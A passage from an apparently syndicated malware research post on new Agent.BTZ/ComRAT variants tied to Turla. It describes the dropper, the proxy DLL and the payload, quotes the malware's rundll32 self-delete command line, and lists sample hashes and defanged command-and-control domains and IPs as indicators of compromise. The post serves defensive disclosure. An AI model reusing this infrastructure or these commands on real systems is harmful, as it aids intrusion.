&lt;p&gt;Once executed, the dropper installs activeds.dll – a proxy dll which is loaded
directly to explorer.exe once the machine reboots. The purpose of this proxy
dll is to load the malware’s main payload – stdole2.tlb. The dropper then also
deletes any previous installation of Agent.BTZ if it exists. This is done using
a hard-coded file path:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Documents and Settings\&amp;lt;USER&amp;gt;\Application Data\Microsoft\Windows\Themes\termsvr32.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Documents and Settings\&amp;lt;USER&amp;gt;\Application Data\Microsoft\Windows\Themes\pcasrc.tlb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**Note: These file names were first used by Agent.BTZ in late 2014, as you
can see in this
&lt;a href="https://vms.drweb.ru/virus/?i=4268384"target="_blank" rel="noopener"&gt;automatic Dr.WEB report&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once finished, the dropper renames and self delete using the following command
line:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\WINDOWS\system32\rundll32.exe C:\DOCUME~1\&amp;lt;USER&amp;gt;~1\APPLIC~1\MICROS~1\Windows\stdole2.tlb,UnInstall C:\~$.tmp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Samples found:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;stdole2.tlb&lt;span class="hx:absolute hx:-mt-20" id="stdole2tlb"&gt;&lt;/span&gt;
&lt;a href="#stdole2tlb" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As previously mentioned, this file is the main component installed by the
fake-sfx dropper and loaded by activeds.dll. We extracted the configuration
from each sample in order to obtain the c2 address and inner version
(&amp;quot;&lt;code&gt;PVer&lt;/code&gt;&amp;quot;), which is built into every Agent.BTZ sample. In the past,
Agent.BTZ’s developers have used an incremental value to indicate the inner
build version, the last known value is 3.26 as
&lt;a href="https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"target="_blank" rel="noopener"&gt;published by G-Data in late 2014&lt;/a&gt;,
It seems that the developers have reacted to G-Data’s publication and have
stopped using an incremental value. New variants are now using a different
numbering system of &lt;code&gt;0.8/9.&amp;lt;RANDOM_VALUE&amp;gt;&lt;/code&gt;, making it more difficult for
researchers to track the exact version of the samples.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/images/fig2.png" title="Example configuration extracted from one of the samples – PVer 0.9.1528434231." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Example configuration extracted from one of the samples – PVer 0.9.1528434231.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Even without the PVer numbering, we were able to determine using our technology
that these samples are from a newer version, which is based on the latest known
versions of Agent.BTZ – 3.25 / 3.26. These are the two top files you can see in
the following screenshot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/en/file/4e553bce90f0b39cd71ba633da5990259e185979c2859ec2e04dd8efcdafe356/analysis/"target="_blank" rel="noopener"&gt;4e553bce90f0b39cd71ba633da5990259e185979c2859ec2e04dd8efcdafe356 (VirusTotal)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/en/file/3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2/analysis/"target="_blank" rel="noopener"&gt;3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2 (VirusTotal)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both of these files were uploaded almost three years ago to VT(!)&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/08/new-variants-of-agent-btz-comrat-found/images/fig3.png" title="A screenshot from the Intezer Analyze™ product displaying a list of files in our database that share pieces of code with one of the new samples. These pieces of code are specific to the Turla malware family, and were not seen in any other malicious or legitimate software." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A screenshot from the Intezer Analyze™ product displaying a list of files in our database that share pieces of code with one of the new samples. These pieces of code are specific to the Turla malware family, and were not seen in any other malicious or legitimate software.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Samples found:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 dropper
6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 dropper
73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88 activeds.dll
50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f activeds.dll
380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac activeds.dll
9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426 activeds.dll
628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24 activeds.dll
f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2 activeds.dll
a093fa22d7bc4ee99049a29b66a13d4bf4d1899ed4c7a8423fbb8c54f4230f3c activeds.dll
6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96 stdole2.tlb
49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e stdole2.tlb
e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49 stdole2.tlb
89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea stdole2.tlb
0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286 other
bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3 other
fac13f08afe2745fc441ada37120cebce0e0aa16d03a03e9cda3ec9384dd40f2 backdoor
bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1 other&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;81.199.34[.]150
elephant.zzux[.]com
angrybear.ignorelist[.]com
bigalert.mefound[.]com
bughouse.yourtrap[.]com
getfreetools.strangled[.]net
news100top.diskstation[.]org
pro100sport.mein-vigor[.]de
redneck.yourtrap[.]com
savage.2waky[.]com
tehnologtrade.4irc[.]com
81.199.160[.]11
forums.chatnook[.]com
goodengine.darktech[.]org
locker.strangled[.]net
simple-house.zzux[.]com
specialcar.mooo[.]com
sunseed.strangled[.]net
whitelibrary.4irc[.]com
bloodpearl.strangled[.]net
getlucky.ignorelist[.]com
proriot.zzux[.]com
fourapi.mooo[.]com
nopasaran.strangled[.]net
78.138.25[.]29
showme.twilightparadox[.]com
mouses.strangled[.]net
82.146.175[.]69
mouses.strangled[.]net
178.219.68[.]242
ftp.fueldust.compress[.]to
ftp.linear.wikaba[.]com
ftp.mysterysoft.epac[.]to
ftp.scroller.longmusic[.]com
ftp.spartano.mefound[.]com
fueldust.compress[.]to
linear.wikaba[.]com
mysterysoft.epac.to
safety.deaftone[.]com
salary.flnet[.]org
scroller.longmusic[.]com
spartano.mefound[.]com
88.83.25[.]122
robot.wikaba[.]com
41.223.91[.]217
smileman.compress[.]to
decent.ignorelist[.]com
dekka.biz[.]tm
disol.strangled[.]net
eraser.2waky[.]com
filelord.epac[.]to
justsoft.epac[.]to
smuggler.zzux[.]com
sport-journal.twilightparadox[.]com
sportinfo.yourtrap[.]com
stager.ignorelist[.]com
tankos.wikaba[.]com
grandfathers.mooo[.]com
homeric.mooo[.]com
jamming.mooo[.]com
pneumo.mooo[.]com
razory.mooo[.]com
anger.scieron[.]com
gantama.mefound[.]com
letgetbad.epac[.]to
rowstate.epac[.]to
memento.info[.]tm
196.43.240[.]177
bughouse.yourtrap[.]com
news100top.diskstation[.]org
169.255.102[.]240
harm17.zzux[.]com
mountain8.wikaba[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Related articles&lt;span class="hx:absolute hx:-mt-20" id="related-articles"&gt;&lt;/span&gt;
&lt;a href="#related-articles" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"target="_blank" rel="noopener"&gt;http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/"target="_blank" rel="noopener"&gt;https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"target="_blank" rel="noopener"&gt;https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/the-epic-turla-operation/65545/"target="_blank" rel="noopener"&gt;https://securelist.com/the-epic-turla-operation/65545/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://artemonsecurity.com/snake_whitepaper.pdf"target="_blank" rel="noopener"&gt;http://artemonsecurity.com/snake_whitepaper.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra"target="_blank" rel="noopener"&gt;https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>